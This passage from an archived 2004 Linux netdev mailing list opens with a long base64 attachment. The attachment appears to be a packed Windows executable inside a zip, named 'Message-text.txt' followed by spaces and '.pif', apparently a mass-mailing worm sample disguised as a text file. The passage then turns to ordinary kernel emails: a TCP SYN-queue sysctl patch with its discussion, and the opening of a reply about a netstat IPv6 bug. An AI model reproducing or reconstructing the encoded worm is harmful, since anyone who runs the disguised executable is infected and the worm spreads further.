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 dGV4dC50eHQgICAgICAgICAgLnBpZlBLAQIUAAoAAAAAAACwgzCfBvU+AKYAAACmAAAfAAAAAAAA AAAAIAD/gQAAAABQbWVzc2FnZS10ZXh0LnR4dCAgICAgICAgICAucGlmUEsFBgAAAAABAAEATQAA AD2mAAAAAABNiZ6Kj5SNSE2boZucjZWElJuJm5tITYuRkJebnEhNl5SNkI2UmEhMkJqUoZiWW11I m5edloyViZZIi5eWjo+UjJpIjJGajYucSE2boZucmolITJeMiotZXkhMlZuSjIqLWVlITJWbm5GP lltYSJ+Rlo2gjUiNoJiUl5qNjEiMkZqNi5ybSJWYnIuUl4mTm0iRWZqdXVyWXEiRWVmaXVyWXEia jYmUnZiMW1pImI2WkZtIn5GWm5CNlJSKSE2JnpiPnYmajEhNjpeXjJGWj0iJnUifl5qVSJWbj5ua nltaSJyNjZORjJtIlZuKlImbnEhNnImbk5uEm56LkJebnEhNlYmSiUhNiZ6PnYmajEhNm42anpGL jZtIn5GWm6GbSJGanZZcSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlJICAHyS AgAAAAAAAAAAAAAAAAChkgIAjJICAAAAAAAAAAAAAAAAAAAAAAAAAAAArpICALySAgDMkgIAAAAA AEUCAIAAAAAAS0VSTkVMMzIuRExMAE1TVkJWTTYwLkRMTAAAAExvYWRMaWJyYXJ5QQAAR2V0UHJv Y0FkZHJlc3MAAEV4aXRQcm9jZXNzAAAAAAAAAE2Onpial5yNi5xITZqNj1taSE2YiZaMiYmejZaP kZaNSJuei5CXm5ybWVlITZ+RlpuXi5NIkZiVl5ZITZyRlY2aSI+Rj4mKkZxIn5GWnImbk0hMkY2U l4mMSEuRjZSXiYxIkImUlJefjZScSIyakZ6NmpuEm56LkJebnEiVjYyRiVtaSI2gmJSXmo1ITZuh m5WXlqCYSJuhm5GWjpdIn5GWiZGRSJuXnZaMi5eWjgAAQEFsbCBBVjogRGllIE5UUCwgVXBkYXRl LC4uLiBGdW5rdGlvbmVuLCB3YXJlbiBiZXJlaXRzIGFiIFZlcnNpb24uQSB2b3JoYW5kZW4gISBJ bSBkaWVzZW4gU2lubmU6T2RpbiBhbGlhcyBBbm9uAA== --======bdddbcdbbebeaaafbefeede-- From niv@us.ibm.com Sat May 1 11:24:32 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 01 May 2004 11:24:39 -0700 (PDT) Received: from e3.ny.us.ibm.com (e3.ny.us.ibm.com [32.97.182.103]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i41IOPKO015005 for ; Sat, 1 May 2004 11:24:31 -0700 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e3.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i41IO3Im676468; Sat, 1 May 2004 14:24:03 -0400 Received: from us.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i41IOJYV089926; Sat, 1 May 2004 14:24:20 -0400 Message-ID: <4093EB32.6070203@us.ibm.com> Date: Sat, 01 May 2004 11:23:46 -0700 From: Nivedita Singhvi User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Jan Olderdissen CC: netdev@oss.sgi.com, David Miller , Andrew Morton Subject: [PATCH 2.4.5 Re: Fw: Stack sends SYN/ACKs even though accept queue is full References: <15FDCE057B48784C80836803AE3598D50627AC8B@racerx.ixiacom.com> In-Reply-To: <15FDCE057B48784C80836803AE3598D50627AC8B@racerx.ixiacom.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4999 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niv@us.ibm.com Precedence: bulk X-list: netdev Jan Olderdissen wrote: >We'll be happy to test it. We would prefer a 2.4 kernel patch though. Ideal >would be 2.4.21 vanilla which we use in our embedded systems, but we can >make other targets work as well. > > Attached is a patch against 2.4.25. This adds the sysctl variable /proc/sys/net/ipv4/tcp_preload_synq as before, but the default value is 0. So by default, TCP will not preload, i.e. it will drop connection requests when the accept queue is full, rather than holding on to them on the synq. Enabling tcp_preload_synq will restore the original behaviour. Would it be possible for you to collect some run-time statistics (Accept failures from netstat -s, for instance) and performance data for both code paths and provide some real world feedback on how much of a difference it actually makes? That would be very much appreciated, if possible. I'm assuming there was a difference since you noticed the problem to begin with. >all others have already had their full timeout. I will argue that in high >load conditions it doesn't really matter whether you have one or two warm >connections sitting around or not because other new connections are going to > In high load and long lived connections, it is definitely not helpful for performance. Hence being able to turn it off/on is a good thing. >come by anyway sooner than you want to have them. If the server is able to >keep up, the accept queue is going to be mostly empty anyway. > > Yep, but that is not the environment this is intended to affect. This only comes into the picture when the accept queue is full. >The idea of having warm connections is a good one - that is what the accept >queue is for. As long as the accept queue is not full, the syn queue will >have warm bodies for you. If the user wanted to achieve a very similar >effect, he could simply increase the accept queue size by 2. > > I agree that having the accept queue just be the original holding slot for connection requests is a nice thing, without overloading the synq, but simply increasing the accept queue might not be equivalent to what this feature is actually giving you. Especially if apps use setsockopt to specify an accept queue len, and other such scenarios. And think of satellite round trip times of 900ms, and so on.. >In the end I don't think the minimal benefit warrants complicating the code >and/or adding an option that few would understand or care to know about. >Also, the concept of suggesting to the client that there is a receiver and >then just dropping all the packets it sends seems a bit rude if not outright >non-compliant. > > It is not actually non-compliant, since the last ack and data sent could all be lost, and both ends have to deal with that possibility. Certainly within protocol specs. Just a question of optimizing between a retransmission of data on an established connection and setting up a new connection. Typically, if the other side is also well-behaved, it will be doing slow start and won't have opened the window, so we should not be seeing uncontrolled data thrown at us, just the initial 2 segments, blocked by the ack. I'd also wager that not too many people would even detect this as a problem. Still, the less we have to have users do, the better, probably. Please let me know if you have problems with the patch..just moved to a new email client.. thanks, Nivedita diff -urN linux-2.4.25/include/linux/sysctl.h linux-2.4.25synq/include/linux/sysctl.h --- linux-2.4.25/include/linux/sysctl.h 2004-02-18 05:36:32.000000000 -0800 +++ linux-2.4.25synq/include/linux/sysctl.h 2004-05-01 01:54:39.000000000 -0700 @@ -312,6 +312,7 @@ NET_TCP_FRTO=92, NET_TCP_LOW_LATENCY=93, NET_IPV4_IPFRAG_SECRET_INTERVAL=94, + NET_TCP_PRELOAD_SYNQ=95, }; enum { diff -urN linux-2.4.25/include/net/tcp.h linux-2.4.25synq/include/net/tcp.h --- linux-2.4.25/include/net/tcp.h 2003-11-28 10:26:21.000000000 -0800 +++ linux-2.4.25synq/include/net/tcp.h 2004-05-01 01:55:13.000000000 -0700 @@ -463,6 +463,7 @@ extern int sysctl_tcp_tw_reuse; extern int sysctl_tcp_frto; extern int sysctl_tcp_low_latency; +extern int sysctl_tcp_preload_synq; extern atomic_t tcp_memory_allocated; extern atomic_t tcp_sockets_allocated; diff -urN linux-2.4.25/net/ipv4/sysctl_net_ipv4.c linux-2.4.25synq/net/ipv4/sysctl_net_ipv4.c --- linux-2.4.25/net/ipv4/sysctl_net_ipv4.c 2003-06-13 07:51:39.000000000 -0700 +++ linux-2.4.25synq/net/ipv4/sysctl_net_ipv4.c 2004-05-01 01:56:31.000000000 -0700 @@ -229,6 +229,8 @@ {NET_IPV4_IPFRAG_SECRET_INTERVAL, "ipfrag_secret_interval", &sysctl_ipfrag_secret_interval, sizeof(int), 0644, NULL, &proc_dointvec_jiffies, &sysctl_jiffies}, + {NET_TCP_PRELOAD_SYNQ, "tcp_preload_synq", + &sysctl_tcp_preload_synq, sizeof(int), 0644, NULL, &proc_dointvec}, {0} }; diff -urN linux-2.4.25/net/ipv4/tcp_ipv4.c linux-2.4.25synq/net/ipv4/tcp_ipv4.c --- linux-2.4.25/net/ipv4/tcp_ipv4.c 2003-11-28 10:26:21.000000000 -0800 +++ linux-2.4.25synq/net/ipv4/tcp_ipv4.c 2004-05-01 02:00:02.000000000 -0700 @@ -72,6 +72,7 @@ extern int sysctl_ip_default_ttl; int sysctl_tcp_tw_reuse = 0; int sysctl_tcp_low_latency = 0; +int sysctl_tcp_preload_synq = 0; /* Check TCP sequence numbers in ICMP packets. */ #define ICMP_MIN_LENGTH 8 @@ -1428,8 +1429,11 @@ * clogging syn queue with openreqs with exponentially increasing * timeout. */ - if (tcp_acceptq_is_full(sk) && tcp_synq_young(sk) > 1) - goto drop; + if (tcp_acceptq_is_full(sk)) { + if (!sysctl_tcp_preload_synq || + (sysctl_tcp_preload_synq && (tcp_synq_young(sk) > 1))) + goto drop; + } req = tcp_openreq_alloc(); if (req == NULL) From davem@redhat.com Sat May 1 17:41:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 01 May 2004 17:41:17 -0700 (PDT) Received: from mx2.redhat.com (mx2.redhat.com [66.187.237.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i420fDKO027562 for ; Sat, 1 May 2004 17:41:13 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx2.redhat.com (8.12.10/8.12.10) with ESMTP id i420e3xF016187; Sat, 1 May 2004 20:40:03 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i420etv22499; Sat, 1 May 2004 20:40:55 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i420eoKv009507; Sat, 1 May 2004 20:40:50 -0400 Date: Sat, 1 May 2004 17:39:25 -0700 From: "David S. Miller" To: Herbert Xu Cc: nebuchadnezzar@nerim.net, 243084@bugs.debian.org, be-mail2004@lina.inka.de, netdev@oss.sgi.com Subject: Re: Bug#243084: net-tools: netstat do not display some ipv6 listening sockets Message-Id: <20040501173925.4d88a826.davem@redhat.com> In-Reply-To: <20040501065011.GA25540@gondor.apana.org.au> References: <20040411211116.GA32025@lina.inka.de> <87smfagpxf.fsf@thorr.asgardr.info> <20040412001011.GB3310@lina.inka.de> <20040412080013.GA24732@gondor.apana.org.au> <87fzb9z8zp.fsf@thorr.asgardr.info> <20040501065011.GA25540@gondor.apana.org.au> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5000 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Sat, 1 May 2004 16:50:11 +1000 Herbert Xu wrote: > There is a bug in listening_get_first() which used by /proc/net/tcp* > where it wasn't looping through all the sockets in each hash chain. > This problem doesn't show up unless the first socket in a chain doesn't > match the family that is being looked up. > > The following 